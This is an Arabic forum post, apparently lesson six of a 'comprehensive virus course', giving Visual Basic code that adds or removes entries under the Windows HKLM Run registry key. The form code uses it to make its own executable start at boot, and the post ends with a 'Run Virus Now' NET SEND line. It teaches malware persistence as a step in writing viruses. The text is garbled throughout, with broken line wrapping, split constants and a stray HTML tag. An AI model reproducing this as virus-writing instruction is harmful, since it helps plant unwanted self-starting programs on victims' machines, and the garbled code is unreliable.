تابع للدورة الشاملة للفيروسات ( الدرس السادس)

كود بدا التشغيل :
في الموديل :
Option Explicit
Private Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) As Long
Private Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long
Private Declare Function RegCreateKeyEx Lib "advapi32.dll" Alias "RegCreateKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal Reserved As Long, ByVal lpClass As String, ByVal dwOptions As Long, ByVal samDesired As Long, lpSecurityAttributes As Any, phkResult As Long, lpdwDisposition As Long) As Long
Private Const READ_CONTROL = &H20000
Private Const KEY_QUERY_VALUE = &H1
Private Const KEY_SET_VALUE = &H2
Private Const KEY_CREATE_SUB_KEY = &H4
Private Const KEY_ENUMERATE_SUB_KEYS = &H8
Private Const KEY_NOTIFY = &H10
Private Const KEY_CREATE_LINK = &H20
Private Const KEY_READ = KEY_QUERY_VALUE + KEY_ENUMERATE_SUB_KEYS + KEY_NOTIFY + READ_CONTROL
Private Const KEY_WRITE = KEY_SET_VALUE + KEY_CREATE_SUB_KEY + READ_CONTROL
Private Const KEY_EXECUTE = 
KEY_READ
Private Const KEY_ALL_ACCESS = KEY_QUERY_VALUE
+ KEY_SET_VALUE +  KEY_CREATE_SUB_KEY
+ KEY_ENUMERATE_SUB_KEYS +  KEY_NOTIFY
+ KEY_CREATE_LINK +  READ_CONTROL
Private Const RunPath = "Software\Microsoft\Windows\CurrentVersion\Run\"
Private Const HKLM =
&H80000002
' استخدم الامر  التالي لالغاء التشغيل التلقائي Public Sub DoNotRun(ProgramName
As String) Dim  hKey As Long Dim Ret
As Long '  فتح
المفتاح المطلوب Ret =          RegOpenKeyEx(HKLM, RunPath, 0, KEY_ALL_ACCESS,
hKey) ' حذفها  من
مسجل النظام. Ret = 
RegDeleteValue(hKey, ProgramName) '  إغلاق
المفتاح RegCloseKey hKey  End
Sub Public Sub  RunWhenStartup(ProgramName
As String, ProgramPath  As
String) Dim hKey 
As  Long Dim Ret As Long ' فتح
المفتاح المطلوب Ret =   
RegOpenKeyEx(HKLM, RunPath, 0, KEY_ALL_ACCESS, hKey) '
إنشاء قيمة جديدة  بإسم
البرنامج وعنوانه. Ret =
RegSetValueEx(hKey,
ProgramName,  0&, 1,
ProgramPath, Len(ProgramPath)) 'LenB(StrConv(TheData,
vbFromUnicode)) +
1) '
إغلاق المفتاح RegCloseKey hKey End Sub ------------ في
الفورم : RunWhenStartup "عنوان",
App.Path &  "" &
App.EXEName & ".exe" <
/FONT     
> 

NET SEND 127.0.0.1 Run Virus Now